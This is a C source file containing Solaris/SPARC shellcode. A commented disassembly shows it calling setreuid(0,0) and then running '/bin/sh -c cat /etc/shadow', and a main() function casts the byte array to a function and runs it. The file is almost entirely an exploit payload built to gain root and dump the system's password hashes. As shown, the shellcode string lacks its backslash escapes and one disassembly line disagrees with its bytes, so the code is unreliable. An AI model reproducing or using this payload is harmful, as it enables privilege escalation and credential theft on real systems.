/*
* bunker_sparc_exec.c V1.0 - Sat Oct 21 17:45:27 CEST 2006
*
* Solaris/sparc bytecode that executes command after setreuid
* (92 bytes + cmd)
*
* setreuid(0, 0) + execve("/bin/sh", ["/bin/sh","-c","cmd"], NULL);
*
* bunker - http://rawlab.mindcreations.com
* 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
*
* Load address of _start+12 in %o7
* 0x10250: 20 bf ff ff bn,a -0x4 <0x1024c>
* 0x10254: 20 bf ff ff bn,a -0x4 <0x10250>
* 0x10258: 7f ff ff ff call -0x4 <0x10254>
*
* setreuid(0, 0);
* 0x1025c: 90 18 40 01 xor %g1, %g1, %o0
* 0x10260: 92 18 40 01 xor %g1, %g1, %o1
* 0x10264: 82 10 20 ca mov 0xca, %g1
* 0x10268: 91 d0 20 08 ta 0x8
*
* execve("/bin/sh", ["/bin/sh", "-c", "cmd"], NULL);
* 0x1026c: 90 03 e0 44 add %o7, 0x44, %o0
* 0x10270: 90 23 e0 20 sub %o7, 0x20, %o0
* 0x10274: a2 02 20 0c add %o0, 0xc, %l1
* 0x10278: a4 02 20 10 add %o0, 0x10, %l2
* 0x1027c: c0 2a 20 07 clrb [%o0 + 0x7]
* 0x10280: c0 2a 20 0e clrb [%o0 + 0xe]
* 0x10284: d0 23 ff e0 st %o0, [%o7 - 0x20]
* 0x10288: e2 23 ff e4 st %l1, [%o7 - 0x1c]
* 0x1028c: e4 23 ff e8 st %l2, [%o7 - 0x18]
* 0x10290: c0 23 ff ec clr [%o7 - 0x14]
* 0x10294: 82 10 20 3b mov 0x3b, %g1
* 0x10298: 91 d0 20 08 ta 0x8
* "/bin/sh -c "
* "cat /etc/shadow"
*/
char sc[]= "x20xbfxffxffx20xbfxffxffx7fxffxffxff"
"x90x18x40x01x92x18x40x01x82x10x20xcax91xd0x20x08"
"x90x03xe0x44x92x23xe0x20xa2x02x20x0cxa4x02x20x10"
"xc0x2ax20x07xc0x2ax20x0exd0x23xffxe0xe2x23xffxe4"
"xe4x23xffxe8xc0x23xffxecx82x10x20x3bx91xd0x20x08"
"x2fx62x69x6ex2fx73x68x20x20x20x20x20x2dx63x20x20"
"cat /etc/shadow";
main() { int(*f)()=(int(*)())sc;f(); }
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